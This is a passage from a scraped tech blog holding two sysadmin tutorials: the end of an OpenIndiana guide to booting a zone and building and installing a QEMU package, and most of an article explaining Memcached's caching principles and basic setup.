<code class="text plain">Next Steps: Boot the zone, then log into the zone console (zlogin -C)</code></div>
<div class="line number21 index20 alt2">
<code class="text spaces"> </code><code class="text plain">to complete the configuration process.</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The system is installed into an isolated container. Let’s run it!</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_333316">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# zoneadm -z NewZone boot</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="text plain">zone 'NewZone': WARNING: rtls0:1: no matching subnet found in netmasks(4): 192.168.254.200; using default of 255.255.255.0.</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Now, perform a minimal configuration of this zone.<br /> Connect to a virtual console with zlogin -C NewZone:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_18424">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# zlogin -C NewZone</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">[Connected to zone 'NewZone' console]</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">61/99</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">85/99</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">99/99</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">Hostname: NewZone</code></div>
<div class="line number7 index6 alt2">
</div>
<div class="line number8 index7 alt1">
<code class="text plain">Loading smf(5) service descriptions: 3/3</code></div>
<div class="line number9 index8 alt2">
</div>
<div class="line number10 index9 alt1">
<code class="text plain">What type of terminal are you using?</code></div>
<div class="line number11 index10 alt2">
<code class="text spaces"> </code><code class="text plain">1) ANSI Standard CRT</code></div>
<div class="line number12 index11 alt1">
<code class="text spaces"> </code><code class="text plain">2) DEC VT100</code></div>
<div class="line number13 index12 alt2">
<code class="text spaces"> </code><code class="text plain">3) PC Console</code></div>
<div class="line number14 index13 alt1">
<code class="text spaces"> </code><code class="text plain">4) Sun Command Tool</code></div>
<div class="line number15 index14 alt2">
<code class="text spaces"> </code><code class="text plain">5) Sun Workstation</code></div>
<div class="line number16 index15 alt1">
<code class="text spaces"> </code><code class="text plain">6) X Terminal Emulator (xterms)</code></div>
<div class="line number17 index16 alt2">
<code class="text spaces"> </code><code class="text plain">7) Other</code></div>
<div class="line number18 index17 alt1">
<code class="text plain">Type the number of your choice and press Return: 6</code></div>
<div class="line number19 index18 alt2">
<code class="text plain">Creating new rsa public/private host key pair</code></div>
<div class="line number20 index19 alt1">
<code class="text plain">Creating new dsa public/private host key pair</code></div>
<div class="line number21 index20 alt2">
<code class="text plain">Configuring network interface addresses: rtls0.</code></div>
<div class="line number22 index21 alt1">
</div>
<div class="line number23 index22 alt2">
<code class="text plain">System identification is completed.</code></div>
<div class="line number24 index23 alt1">
</div>
<div class="line number25 index24 alt2">
<code class="text plain">rebooting system due to change(s) in /etc/default/init</code></div>
<div class="line number26 index25 alt1">
</div>
<div class="line number27 index26 alt2">
<code class="text plain">[NOTICE: Zone rebooting]</code></div>
<div class="line number28 index27 alt1">
</div>
<div class="line number29 index28 alt2">
<code class="text plain">SunOS Release 5.11 Version oi_151 64-bit</code></div>
<div class="line number30 index29 alt1">
<code class="text plain">Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved.</code></div>
<div class="line number31 index30 alt2">
<code class="text plain">Hostname: NewZone</code></div>
<div class="line number32 index31 alt1">
</div>
<div class="line number33 index32 alt2">
<code class="text plain">NewZone console login: root</code></div>
<div class="line number34 index33 alt1">
<code class="text plain">Password:</code></div>
<div class="line number35 index34 alt2">
<code class="text plain">Aug 8 14:09:54 NewZone login: ROOT LOGIN /dev/console</code></div>
<div class="line number36 index35 alt1">
<code class="text plain">OpenIndiana (powered by illumos) SunOS 5.11 oi_151 July 2011</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The
one-time configuration of the new zone is done. Review the new zone’s
available resources. They’re completely isolated, like the whole
environment, in general:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_459311">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@NewZone:~# df</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">/ (pool/NewZone/ROOT/zbe): 3007372 blocks 3007372 files</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">/dev (/dev ): 0 blocks 0 files</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">/proc (proc ): 0 blocks 29917 files</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">/system/contract (ctfs ): 0 blocks 2147483588 files</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">/etc/mnttab (mnttab ): 0 blocks 0 files</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">/system/object (objfs ): 0 blocks 2147483418 files</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">/etc/svc/volatile (swap ): 5920888 blocks 578264 files</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">/lib/libc.so.1 (/usr/lib/libc/libc_hwcap1.so.1): 3007372 blocks 3007372 files</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">/dev/fd (fd ): 0 blocks 0 files</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">/tmp (swap ): 5920888 blocks 578264 files</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">/var/run (swap ): 5920888 blocks 578264 files</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Restarting NewZone does not interrupt the core system;<br /> rebooting takes less than a minute:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_838928">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@NewZone:/# reboot</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">Aug 8 14:15:37 NewZone reboot: initiated by root on /dev/console</code></div>
<div class="line number3 index2 alt2">
</div>
<div class="line number4 index3 alt1">
<code class="text plain">[NOTICE: Zone rebooting]</code></div>
<div class="line number5 index4 alt2">
</div>
<div class="line number6 index5 alt1">
<code class="text plain">SunOS Release 5.11 Version oi_151 64-bit</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved.</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">Hostname: NewZone</code></div>
<div class="line number9 index8 alt2">
</div>
<div class="line number10 index9 alt1">
<code class="text plain">NewZone console login: root</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">Password:</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">Aug 8 14:16:18 NewZone login: ROOT LOGIN /dev/console</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">Last login: Mon Aug 8 14:09:54 on console</code></div>
<div class="line number14 index13 alt1">
<code class="text plain">OpenIndiana (powered by illumos) SunOS 5.11 oi_151 July 2011</code></div>
<div class="line number15 index14 alt2">
<code class="text plain">root@NewZone:~# date</code></div>
<div class="line number16 index15 alt1">
<code class="text plain">Mon Aug 8 14:16:22 CEST 2011</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
I
propose to build a QEMU package, so it can be installed later inside
NewZone. Why is this so important? It could sometimes be essential to
have a standalone package, if it’s new and not in the OI repository yet.
Or, in the opposite case — for your own corporate program which you
don’t wish to redistribute. As an example, let’s analyse how to create a
package from the set of programs in <code>/opt/qemu-0.14</code>.</div>
<div style="text-align: justify;">
The first step is to prepare two files, <code>prototype</code> and <code>pkginfo</code>.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_883955">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># echo 'i pkginfo' > prototype</code></div>
<div class="line number2 index1 alt1">
<code class="text plain"># pkgproto /opt/qemu-0.14/ >> prototype</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
In prototype, you should specify those files and directories that the future package will contain. The <code>pkginfo</code> file will contain all information about this package:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_240772">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:~/pkg# cat pkginfo</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">BASEDIR=/opt/qemu-0.14</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">TZ=PST</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">PATH=/sbin:/usr/sbin:/usr/bin:/usr/sadm/install/bin</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">PKG=qemu</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">ARCH=x86</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">NAME=qemu</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">VERSION=0.14</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">CATEGORY=application</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">DESC=QEMU virtualization</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">VENDOR=QEMU.ORG</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">EMAIL=qemu@qemu.org</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">PKGSAV=/var/sadm/pkg/qemu/save</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Begin building the package itself:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_504602">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:~/pkg# pkgmk -b /opt/qemu-0.14 -r /</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">## Building pkgmap from package prototype file.</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">## Processing pkginfo file.</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">WARNING: missing directory entry for </opt></code></div>
<div class="line number5 index4 alt2">
<code class="text plain">WARNING: parameter <PSTAMP> set to "openindiana20110814071557"</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">WARNING: parameter <CLASSES> set to "none"</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">## Attempting to volumize 84 entries in pkgmap.</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">part 1 -- 123944 blocks, 428 entries</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">## Packaging one part.</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">/var/spool/pkg/qemu/pkgmap</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">/var/spool/pkg/qemu/pkginfo</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">/var/spool/pkg/qemu/root/opt/qemu-0.14/bin/qemu</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">[...snip...]</code></div>
<div class="line number14 index13 alt1">
<code class="text plain">/var/spool/pkg/qemu/root/opt/qemu-0.14/share/qemu/vgabios-stdvga.bin</code></div>
<div class="line number15 index14 alt2">
<code class="text plain">/var/spool/pkg/qemu/root/opt/qemu-0.14/share/qemu/vgabios-vmware.bin</code></div>
<div class="line number16 index15 alt1">
<code class="text plain">/var/spool/pkg/qemu/root/opt/qemu-0.14/share/qemu/vgabios.bin</code></div>
<div class="line number17 index16 alt2">
<code class="text plain">## Validating control scripts.</code></div>
<div class="line number18 index17 alt1">
<code class="text plain">## Packaging complete.</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The package is ready, and is stored in <code>/var/spool/pkg</code>. The last step is to convert it to a special <code>pkg</code> format:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_167560">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:~/pkg# pkgtrans -s /var/spool/pkg/ qemu.pkg</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="text plain">The following packages are available:</code></div>
<div class="line number4 index3 alt1">
<code class="text spaces"> </code><code class="text plain">1 qemu qemu</code></div>
<div class="line number5 index4 alt2">
<code class="text spaces"> </code><code class="text plain">(x86) 0.14</code></div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="text plain">Select package(s) you wish to process (or 'all' to process</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">all packages). (default: all) [?,??,q]: 1</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">Transferring <qemu> package instance</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">root@openindiana:~/pkg# ls -l /var/spool/pkg/</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">total 58668</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">drwxr-xr-x 3 root root 5 2011-08-14 08:15 qemu</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">-rw-r--r-- 1 root root 59996160 2011-08-14 08:19 qemu.pkg</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Now, transfer <code>qemu.pkg</code> to the isolated area, and install it in NewZone:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_242032">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@NewZone:/export# pkgadd -d qemu.pkg</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="text plain">The following packages are available:</code></div>
<div class="line number4 index3 alt1">
<code class="text spaces"> </code><code class="text plain">1 qemu qemu</code></div>
<div class="line number5 index4 alt2">
<code class="text spaces"> </code><code class="text plain">(x86) 0.14</code></div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="text plain">Select package(s) you wish to process (or 'all' to process</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">all packages). (default: all) [?,??,q]: 1</code></div>
<div class="line number9 index8 alt2">
</div>
<div class="line number10 index9 alt1">
<code class="text plain">Processing package instance <qemu> from </export/qemu.pkg></code></div>
<div class="line number11 index10 alt2">
</div>
<div class="line number12 index11 alt1">
<code class="text plain">qemu(x86) 0.14</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">QEMU.ORG</code></div>
<div class="line number14 index13 alt1">
<code class="text plain">## Processing package information.</code></div>
<div class="line number15 index14 alt2">
<code class="text plain">## Processing system information.</code></div>
<div class="line number16 index15 alt1">
<code class="text plain">## Verifying disk space requirements.</code></div>
<div class="line number17 index16 alt2">
<code class="text plain">## Checking for conflicts with packages already installed.</code></div>
<div class="line number18 index17 alt1">
<code class="text plain">## Checking for setuid/setgid programs.</code></div>
<div class="line number19 index18 alt2">
</div>
<div class="line number20 index19 alt1">
<code class="text plain">Installing qemu as <qemu></code></div>
<div class="line number21 index20 alt2">
</div>
<div class="line number22 index21 alt1">
<code class="text plain">## Installing part 1 of 1.</code></div>
<div class="line number23 index22 alt2">
<code class="text plain">/opt/qemu-0.14/bin/qemu</code></div>
<div class="line number24 index23 alt1">
<code class="text plain">...</code></div>
<div class="line number25 index24 alt2">
<code class="text plain">/opt/qemu-0.14/share/qemu/vgabios.bin</code></div>
<div class="line number26 index25 alt1">
<code class="text plain">[ verifying class <none> ]</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
QEMU installation in the zone was successful. You’ll also notice that the core system now has a new virtual device <code>rtls0:1</code>, which will filter all traffic in and out of the isolated container:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_141940">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:~# ifconfig rtls0</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">rtls0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 3</code></div>
<div class="line number3 index2 alt2">
<code class="text spaces"> </code><code class="text plain">inet 10.1.0.136 netmask ffffff00 broadcast 10.1.0.255</code></div>
<div class="line number4 index3 alt1">
<code class="text spaces"> </code><code class="text plain">ether e2:62:0:a4:d5:24</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">root@openindiana:~# ifconfig rtls0:1</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">rtls0:1: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 3</code></div>
<div class="line number7 index6 alt2">
<code class="text spaces"> </code><code class="text plain">zone NewZone</code></div>
<div class="line number8 index7 alt1">
<code class="text spaces"> </code><code class="text plain">inet 192.168.254.200 netmask ffffff00 broadcast 192.168.254.255</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
OI combines tools from the Linux world (<code>ls</code>, <code>bash</code>, <code>gcc</code>) and those native to Solaris (<code>svcadm</code>, <code>pfexec</code>, <code>newtask</code>, <code>beadm</code>).
The CDDL licence (similar to GPL) made possible the emergence of the
Nexenta distribution, which uses the OS/Net (OpenSolaris) core, much
like OI. However, Nexenta has only GNU applications, and isn’t built on
mixed technology like OI.</div>
<div style="text-align: justify;">
However, as we have already seen, this
mixed environment is closer to Linux than to Solaris. The use of
interesting options like ZFS and zones lets you look differently at
existing solutions in Linux — for instance, LVM and lxc. Who knows,
maybe one day, we’ll see a Linux distribution offering ZFS as the
default root filesystem!</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-48064512137313262052012-09-24T01:30:00.001-07:002012-09-24T01:30:21.433-07:00Speed up Your Cloud with "Memcached"..!!!<div class="introduction" style="text-align: justify;">
<img alt="Speed up your cloud" class="aligncenter size-large wp-image-10339" height="304" src="http://cdn.linuxforu.com/wp-content/uploads/2012/03/memcached-sized1-590x304.jpg" title="Speed up your cloud" width="590" />Is
your website running into performance bottlenecks? Does the database or
backend feel like a really expensive resource, even though you’ve got a
huge cluster set up to improve parallel processing? Read on to find out
why you should be including Memcached, a distributed cache, in your
cloud-based application.</div>
<div style="text-align: justify;">
Caching is a concept that almost all
developers use in some form or the other in their applications. It’s
basically about storing a piece of information in memory so that it can
be retrieved quickly, later, thus speeding up your application. Caching
is mostly used for data that is accessed repeatedly, so that instead of
calculating/retrieving from the disk repeatedly, which takes time, we
can instead directly look it up in the cache, which is much faster.</div>
<div style="text-align: justify;">
In
the context of Web applications, for example, a dynamic Web page can be
cached on the server, so that we do not need to generate it again when a
new request comes, provided the dynamic data present in the page hasn’t
changed within that time. That is the easy part, but caches can be used
at multiple places in the application stack, so you have quite a few
options when it comes to choosing where to cache, what to cache and how
to cache.</div>
<div style="text-align: justify;">
Without getting into too much jargon, here are some of the techniques on how and where you might like to cache data:</div>
<ul style="text-align: justify;">
<li><strong>Browser caching:</strong>
As Web developers might be aware, some data can be cached on the
client-side in the browser, like images, etc., so that they are
automatically used when repeated requests for that resource are made.</li>
<li><strong>Content delivery network (CDN):</strong>
A CDN is a network of servers that are geographically dispersed; users
closest to a particular server in the CDN are then served by that
server, reducing data transfer time from far-off servers, and also
taking the load off the primary servers.</li>
<li><strong>Reverse caching proxies:</strong>
A reverse caching proxy is another architectural option, where a proxy
server sits between the client and the server. Here the client requests
resources from the proxy server, which in turn either retrieves the
resources on the client’s behalf, or returns the data present in its
cache. So, the client feels as if the proxy server is the source of
information.</li>
<li><strong>Server-side caching:</strong> Data or
objects can alternatively be cached on the server-side itself. This can
either be a local server cache, a centralised caching server or a
distributed cache.</li>
<li><strong>Local database query cache:</strong> A
good database caches the database queries or data internally, so as to
improve the speed of looking up data as well as the performance of the
database.</li>
</ul>
<div style="text-align: justify;">
You may choose to implement a cache in one way or
another, or you might use a combination of more than one technique to
cache different types of data at separate levels. But more importantly,
it is helpful to know whether you even need caching in the particular
application/use-case you are thinking about.</div>
<div style="text-align: justify;">
Most people, in the
process of implementing a cache, actually lose out because it was
wrongly implemented. So the cache ends up slowing down the application,
instead of speeding it up. Getting fancy software with fancy features
doesn’t always make sense, but using even the modest ones in the right
way, does.</div>
<h2 style="text-align: justify;">
Why you need Memcached</h2>
<div style="text-align: justify;">
This discussion assumes
that you have set up a cluster, and you want to implement caching. In
this case, what happens if you start caching on each node independently?
You will see that some nodes face memory issues, while others have
quite a bit of memory left. Moreover, most of the data stored in their
individual caches is redundant.</div>
<div style="text-align: justify;">
This calls for a centralised
caching mechanism that makes sense in the cloud domain, such that the
data being cached in a cluster is evenly distributed and unique for the
whole cluster. And yes, the answer is Memcached.</div>
<div style="text-align: justify;">
Memcached is that
piece of the puzzle without which your cloud implementation does not
even make sense. It provides a solution in which the available memory in
the cache is the sum of that on all nodes on which the Memcached
instance is running. So if, for example, you have 10 nodes, with each
being allocated 1 GB of memory for caching, you get a total of 10 GB of
cache available for the whole cluster. Here are some features in
Memcached that might lure you into using it within the context of your
application:</div>
<ul style="text-align: justify;">
<li><strong>Easy scalability:</strong> This feature
is applicable for almost any software with the tag of “distributed”, but
still, it is worth noting that Memcached needs minimal configuration to
add a new node, with almost no special interconnect requirements. Your
available memory in the cache just increases on the fly.</li>
<li><strong>Hidden complexity:</strong>
Memcached hides beneath it all the complexity associated with
storing/retrieving the data from the cache in a cluster. All we need to
provide is the key associated with the data. The whole task of
determining which node to store the data on, or to retrieve it from, is
done by the Memcached client itself.</li>
<li><strong>Minimal impact of a node failure:</strong>
Even if a particular Memcached node does fail, it has almost no impact
on the overall cache other than reducing the available memory, and a
minor increase in the number of cache misses.</li>
<li><strong>Flexible architecture:</strong>
Memcached does not impose a restriction on all nodes to have a uniform
cache size. So, some of your nodes with less physical memory can be set
up to contribute perhaps only 512 MB to the cluster, while others may
have 2 GB of memory dedicated for the Memcached instance. Apart from
this, you can even run more than one instance of Memcached on a single
node.</li>
<li><strong>Multiple clients available:</strong> Memcached has
client APIs available for various languages like PHP, C++, Java,
Python, Ruby, Perl, .NET, Erlang, ColdFusion and even more.</li>
<li><strong>Cross-platform:</strong> Memcached is available for a wide variety of platforms including Linux, BSD and Windows.</li>
<li><strong>Multi-fetch:</strong>
With the help of this feature, we can request values for more than one
key at once, instead of querying them in a loop, one by one, which takes
a lot of network round-trips.</li>
<li><strong>Constant time functions:</strong>
It takes the same amount of time to perform an operation in memory,
whether it is a single key or a hundred. This corresponds to the
Multi-fetch feature discussed before.</li>
</ul>
<div style="text-align: justify;">
There are many more features that I may have missed, but I am just skimming the surface at the architectural level.</div>
<h2 style="text-align: justify;">
How it works</h2>
<div style="text-align: justify;">
Memcached
works on some very strong and unique principles, which you, as a
developer, should know about in order to develop effective applications
with it. Listed below are some of the major principles behind how
Memcached handles data under the hood.</div>
<h3 style="text-align: justify;">
Consistent hashing</h3>
<div style="text-align: justify;">
Memcached
decides the node to store/retrieve the data on, when it receives a
request, irrespective of the total number of Memcached nodes active.
Rather than choosing a random node, or using the round-robin method to
load-balance all the nodes, it hashes all the incoming keys, which
decides the node on which the data is going to be stored. This hash
function evenly distributes the keys among all the nodes.</div>
<div style="text-align: justify;">
The
algorithm used for hashing is complex enough to compensate for a node
failure, so that the calculation does not change when the total number
of nodes changes, and there is no ambiguity while retrieving data. The
application basically has to be aware about all the nodes that are in
the Memcached cluster, and you need to populate it with a list of all
the IPs and ports on which the Memcached servers are active.</div>
<div style="text-align: justify;">
To know more about this algorithm, read the article “<a href="http://www.mikeperham.com/2009/01/14/consistent-hashing-in-memcache-client/">Consistent Hashing in memcache-client</a>.”</div>
<h3 style="text-align: justify;">
LRU algorithm</h3>
<div style="text-align: justify;">
Memcached
uses a predefined portion of maximum memory, so if you ask it to use a
maximum of 1 GB RAM, it will try not to use memory beyond that. But what
happens if a request comes in to store data, and you don’t have memory
left? Memcached uses the LRU (Least Recently Used) algorithm to
determine which data in memory has been least active, and discards it to
make space for the new data.</div>
<div style="text-align: justify;">
This is where the main concept
behind caching lies, i.e., you cannot rely on Memcached to keep some
data once it has been asked to store it into memory. It all depends on
the amount of traffic that the particular key has received, and it is
really a very efficient way of managing memory. So while developing your
application, remember that you must have a fall-back mechanism to
retrieve the data once it is not found in the Memcached server.</div>
<h3 style="text-align: justify;">
Memory allocation</h3>
<div style="text-align: justify;">
Memcached
is written in the C programming language, so it has to manage its own
memory allocation schemes. Many think it uses the <code>malloc</code>
function to allocate free memory from the RAM — but that results in some
major address-space fragmentation issues once you start allocating
large chunks of memory. It also results in performance degradation once
the application has been running for a fair amount of time and there
have been many allocate-reallocate cycles.</div>
<div style="text-align: justify;">
To avoid such a
scenario, Memcached uses a slab memory allocator. In order to optimise
the cache usage of your application, you need to know how this slab
allocation works. Basically, it’s like any other memory management
scheme, where the memory is divided into a fair number of pages. Each
page is assigned a particular slab class, according to which the page is
divided into a finite number of equal-sized chunks. The chunk size
depends on the slab class that the page has been assigned.</div>
<div style="text-align: justify;">
The
page a particular data is assigned to depends on the actual size of the
data, including the key and the value, according to which it is given a
page of a relevant slab class. For example, a page that is 1 MB in size
and belongs to Slab Class 1 will have eight 128 KB sized chunks. So, if a
key-value pair is 109 KB in size, it is likely to be assigned a chunk
of 128 KB in a page of this slab class (yes, 19 KB is wasted, but that’s
the trade-off).</div>
<div style="text-align: justify;">
Now, it is important to note that the LRU
algorithm discussed earlier works only on a per-slab basis. So, a key is
likely to be evicted earlier if the slab it belongs to is being used
more than others.</div>
<h2 style="text-align: justify;">
Installing Memcached</h2>
<div style="text-align: justify;">
While installing Memcached, we need to install the daemon and the client library. Also, Memcached has a dependency on <code>libevent</code>, which you need to install before Memcached. But, on most major Linux distributions, it is almost as easy as <code>sudo apt-get install memcached</code> or <code>yum install memcached</code>.</div>
<div style="text-align: justify;">
Alternatively, you might want to compile from source, if you want a more recent version. In that case, you can get the <code>libevent</code> dependency on its <a href="http://libevent.org/">website</a>, and Memcached <a href="http://memcached.org/">here</a>. You will, of course, also need all the build dependencies.</div>
<div style="text-align: justify;">
Since
all Memcached servers in the cluster do not need to know about each
other, there is almost no other configuration that you need to do in
order to get up and running. To start the Memcached instance, run the
following:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_102212">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">memcached -d -m 1024 -u memcache -l 127.0.0.1 -p 11211</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
These
options specify that Memcached is run as a daemon, with a max memory
consumption of 1 GB. As the “memcache” user, listen on the IP address
127.0.0.1 and port 11211. Alternatively, you might want to try running
it with a <code>-vv</code> flag in the foreground, to see what’s happening behind the scenes:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_299352">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">memcached -vv -m 1024 -u memcache -l 127.0.0.1 -p 11211</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Installing
the Memcached client and using it largely depends on the
language/environment you are using it on, so you can look up the
documentation for that particular environment if you need help. As of
now, we will just connect with a telnet session, and look at some
statistics with the command. I’d rather not go into programming, and
will keep this discussion more language-agnostic.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_121098">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">$ telnet 127.0.0.1 11211</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">Trying 127.0.0.1...</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">Connected to 127.0.0.1.</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">Escape character is '^]'.</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">stats</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
After you enter the <code>stats</code>
command as shown above, you will see a long list of statistics related
to the cache, which include uptime, cache hits and cache misses, among
others. This will resemble what is shown below:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_92138">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">STAT pid 1233</code></div>
